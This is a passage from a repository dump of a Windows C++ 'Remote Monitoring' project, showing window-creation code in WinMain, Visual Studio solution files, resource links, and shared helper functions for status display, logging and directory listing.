MsgOnlyWndClass.hInstance = hMainInstance; 48 | MsgOnlyWndClass.hIcon = NULL; 49 | MsgOnlyWndClass.hCursor = NULL; 50 | MsgOnlyWndClass.hbrBackground = NULL; 51 | MsgOnlyWndClass.lpszMenuName = NULL; 52 | MsgOnlyWndClass.lpszClassName = szMsgOnlyWndClassName; 53 | 54 | if (!RegisterClass(&MsgOnlyWndClass)) { 55 | MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR); 56 | return 0; 57 | } 58 | 59 | // Initialize common controls 60 | InitCommonControls(); 61 | 62 | // Create the main window 63 | hMainWnd = CreateWindow(szAppName, // class name 64 | szAppName, // caption 65 | WS_CAPTION | 66 | WS_MINIMIZEBOX | 67 | WS_SYSMENU, // window style 68 | CW_USEDEFAULT, // initial X position 69 | CW_USEDEFAULT, // initial Y position 70 | 800, // initial X size 71 | 600, // initial Y size 72 | NULL, // parent window handle 73 | NULL, // window menu handle 74 | hMainInstance, // program instance handle 75 | NULL); 76 | 77 | // exit if window was not created 78 | if (!hMainWnd) { 79 | MessageBox(0, L"Window creation error. Cannot continue.", 0, 0); 80 | return 0; 81 | } 82 | 83 | // centre the main window in the screen 84 | 85 | // get the screen co-ordinates 86 | iScreenX = GetSystemMetrics(SM_CXSCREEN); 87 | iScreenY = GetSystemMetrics(SM_CYSCREEN); 88 | 89 | // get window rect and calculate the main window dimensions 90 | GetWindowRect(hMainWnd, &rcMainWnd); 91 | iWidth = rcMainWnd.right - rcMainWnd.left; 92 | iHeight = rcMainWnd.bottom - rcMainWnd.top; 93 | 94 | // calculate the new co-ordinates for the main window 95 | iWndX = iScreenX / 2 - iWidth / 2; 96 | iWndY = iScreenY / 2 - iHeight / 2; 97 | 98 | MoveWindow(hMainWnd, iWndX, iWndY, iWidth, iHeight, FALSE); 99 | 100 | // create the message-only window 101 | hMsgOnlyWnd = CreateWindow(szMsgOnlyWndClassName, 102 | NULL, 103 | WS_CHILD, 104 | CW_USEDEFAULT, 105 | CW_USEDEFAULT, 106 | CW_USEDEFAULT, 107 | CW_USEDEFAULT, 108 | HWND_MESSAGE, 109 | NULL, 110 | hMainInstance, 111 | NULL); 112 | if (!hMsgOnlyWnd) { 113 | MessageBox(0, L"Message-only window creation error. Cannot continue.", 0, 0); 114 | return 0; 115 | } 116 | 117 | // load the wait cursor (hour-glass) 118 | hCursorWait = LoadCursor(NULL, IDC_WAIT); 119 | 120 | ShowWindow(hMainWnd, iCmdShow); 121 | UpdateWindow(hMainWnd); 122 | 123 | while (GetMessage(&MainWndMsg, NULL, 0, 0)) { 124 | TranslateMessage(&MainWndMsg); 125 | DispatchMessage(&MainWndMsg); 126 | } 127 | 128 | return MainWndMsg.wParam; 129 | 130 | }//WinMain() 131 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/bitmap1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/bitmap1.bmp -------------------------------------------------------------------------------- /ServerRM/ServerRM/bitmap2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/bitmap2.bmp -------------------------------------------------------------------------------- /ServerRM/ServerRM/bitmap3.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/bitmap3.bmp -------------------------------------------------------------------------------- /ServerRM/ServerRM/bitmap4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/bitmap4.bmp -------------------------------------------------------------------------------- /ServerRM/ServerRM/bitmap5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/bitmap5.bmp -------------------------------------------------------------------------------- /ServerRM/ServerRM/ico10.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/ico10.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/ico4.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/ico4.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/ico5.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/ico5.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/ico9.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/ico9.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/icon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/icon1.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/icon2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/icon2.ico -------------------------------------------------------------------------------- /ServerRM/ServerRM/icon3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ServerRM/ServerRM/icon3.ico -------------------------------------------------------------------------------- /SetupFiles/ClientRM/ClientRM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{54435603-DBB4-11D2-8724-00A0C9A8B90C}") = "ClientRM", "ClientRM\ClientRM.vdproj", "{78469BC8-178D-4342-8E0A-F95FBAFECC75}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Default = Debug|Default 9 | Release|Default = Release|Default 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {78469BC8-178D-4342-8E0A-F95FBAFECC75}.Debug|Default.ActiveCfg = Debug 13 | {78469BC8-178D-4342-8E0A-F95FBAFECC75}.Debug|Default.Build.0 = Debug 14 | {78469BC8-178D-4342-8E0A-F95FBAFECC75}.Release|Default.ActiveCfg = Release 15 | {78469BC8-178D-4342-8E0A-F95FBAFECC75}.Release|Default.Build.0 = Release 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /SetupFiles/ServerRM/ServerRM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{54435603-DBB4-11D2-8724-00A0C9A8B90C}") = "ServerRM", "ServerRM\ServerRM.vdproj", "{CCB6498C-47C1-47DF-BCAD-31328FD92D86}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Default = Debug|Default 9 | Release|Default = Release|Default 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {CCB6498C-47C1-47DF-BCAD-31328FD92D86}.Debug|Default.ActiveCfg = Debug 13 | {CCB6498C-47C1-47DF-BCAD-31328FD92D86}.Debug|Default.Build.0 = Debug 14 | {CCB6498C-47C1-47DF-BCAD-31328FD92D86}.Release|Default.ActiveCfg = Release 15 | {CCB6498C-47C1-47DF-BCAD-31328FD92D86}.Release|Default.Build.0 = Release 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Source/Library.cpp: -------------------------------------------------------------------------------- 1 | 2 | // ** Remote Monitoring ** 3 | 4 | // Library.cpp : Common functions used by both ServerRM and ClientRM 5 | 6 | #include 7 | #include // InitCommControls() 8 | #include // _wfopen_s(), fclose(), fprintf(), fscanf() 9 | #include // errno 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include // _write 17 | #include 18 | 19 | #include "..\Include\RMDefs.h" 20 | #include "..\Include\DataStructures.h" 21 | 22 | 23 | // PrintToStatusWindow() 24 | // -- 25 | BOOL PrintToStatusWindow(const WCHAR *wszMsg) { 26 | extern HWND hListBox; 27 | 28 | int iRetVal; 29 | SYSTEMTIME stCurrentTime; 30 | WCHAR szStatusMsg[MAX_SW_MSG + 1]; 31 | 32 | // get time 33 | GetLocalTime(&stCurrentTime); 34 | 35 | //construct the string to be displayed 36 | swprintf_s(szStatusMsg, MAX_SW_MSG + 1, L"[%02d:%02d:%02d.%03d] %s", stCurrentTime.wHour, 37 | stCurrentTime.wMinute, stCurrentTime.wSecond, stCurrentTime.wMilliseconds, wszMsg); 38 | 39 | // add the string 40 | iRetVal = SendMessage(hListBox, LB_ADDSTRING, 0, (LPARAM)szStatusMsg); 41 | if (iRetVal == LB_ERR || iRetVal == LB_ERRSPACE) 42 | return FALSE; 43 | 44 | // make sure the added string is visible 45 | iRetVal = SendMessage(hListBox, LB_SETTOPINDEX, iRetVal, 0); 46 | if (iRetVal == LB_ERR) 47 | return FALSE; 48 | 49 | return TRUE; 50 | 51 | } 52 | 53 | // PrintToStatusBar() 54 | // -- 55 | 56 | BOOL PrintToStatusBar(const WCHAR *wszMsg, int iPart) { 57 | extern HWND hStatusBar; 58 | 59 | int iRetVal; 60 | 61 | // returns TRUE if successful, FALSE otherwise 62 | iRetVal = SendMessage(hStatusBar, SB_SETTEXT, iPart, (LPARAM)(LPSTR)wszMsg); 63 | 64 | return iRetVal; 65 | } 66 | 67 | // WriteToLogFile() 68 | // -- 69 | int WriteToLogFile(const WCHAR *pwszFilePath, const WCHAR *pwszFromModule, const WCHAR *pwszFunction, 70 | const WCHAR *pwszData, int iError) { 71 | FILE *fp = NULL; 72 | int iRetVal, iDataLen; 73 | 74 | SYSTEMTIME stCurrentTime; 75 | 76 | WCHAR wszLogFileLine[MAX_LOGFILE_LINE + 1]; 77 | 78 | // open file in append mode 79 | if ((iRetVal = _wfopen_s(&fp, pwszFilePath, L"a")) != 0) { 80 | return iRetVal; 81 | } 82 | 83 | iDataLen = wcsnlen_s(pwszData, MAX_LOGFILE_LINE + 1); 84 | if (iDataLen == MAX_LOGFILE_LINE + 1) 85 | return 1; 86 | 87 | // get time 88 | GetLocalTime(&stCurrentTime); 89 | 90 | if (pwszData == NULL) { 91 | // write header to newly created file 92 | swprintf_s(wszLogFileLine, MAX_LOGFILE_LINE + 1, 93 | L"**LogFile Format**\n[Timestamp][ModuleName][FunctionName][Optional ErrorCode]Message\n\n"); 94 | } else { 95 | if (iError > 0) { 96 | //construct the string to be written 97 | swprintf_s(wszLogFileLine, MAX_LOGFILE_LINE + 1, L"[%02d:%02d:%02d.%03d][%s][%s][errno %d]%s\n", stCurrentTime.wHour, 98 | stCurrentTime.wMinute, stCurrentTime.wSecond, stCurrentTime.wMilliseconds, pwszFromModule, 99 | pwszFunction, iError, pwszData); 100 | } else { 101 | //construct the string to be written 102 | swprintf_s(wszLogFileLine, MAX_LOGFILE_LINE + 1, L"[%02d:%02d:%02d.%03d][%s][%s]%s\n", 103 | stCurrentTime.wHour, stCurrentTime.wMinute, stCurrentTime.wSecond, stCurrentTime.wMilliseconds, 104 | pwszFromModule, pwszFunction, pwszData); 105 | } 106 | } 107 | 108 | // write the data 109 | iDataLen = wcsnlen_s(wszLogFileLine, MAX_LOGFILE_LINE); 110 | if ((iRetVal = fwprintf_s(fp, L"%s", wszLogFileLine)) < 0) 111 | return 2; 112 | 113 | fclose(fp); 114 | 115 | return ERROR_SUCCESS; 116 | } 117 | 118 | // ListDir() 119 | // Function to list the files under the specified directory. 120 | int ListDir(const WCHAR *pwszDirPath, const WCHAR *pwszExt, FILELIST flFileList[], int nMaxFiles) { 121 | HANDLE h; 122 | int nFiles; 123 | WIN32_FIND_DATA FileData; 124 | BOOL fNextFile; 125 | WCHAR wszSearchPath[MAX_PATH + 1]; 126 | 127 | // validate the nMaxFiles argument 128 | if (nMaxFiles <= 0) { 129 | return 0; 130 | } 131 | 132 | // initialize the 'number of files' variable 133 | nFiles = -1; 134 | 135 | // concatenate the extension to the file path 136 | swprintf_s(wszSearchPath, MAX_PATH + 1, L"%s\\%s", pwszDirPath, pwszExt); 137 | 138 | 139 | /* check whether path exists or not */ 140 | h = (HANDLE)FindFirstFile(wszSearchPath, &FileData); 141 | if (h == INVALID_HANDLE_VALUE) { 142 | int iRetVal = GetLastError(); 143 | return -1; 144 | } 145 | 146 | // copy the first path to ppFileList 147 | ++nFiles; 148 | swprintf_s(flFileList[nFiles].wszFileName, L"%s", FileData.cFileName); 149 | 150 | while ((fNextFile = FindNextFile(h, &FileData))) { 151 | if (nFiles < nMaxFiles) { 152 | ++nFiles; 153 | 154 | // copy it to ppFileList 155 | swprintf_s(flFileList[nFiles].wszFileName, MAX_PATH + 1, L"%s", FileData.cFileName); 156 | } else 157 | break; 158 | 159 | } 160 | 161 | // close the handle 162 | FindClose(h); 163 | 164 | return nFiles + 1; 165 | 166 | }// ListDir() --------------------------------------------------------------------------------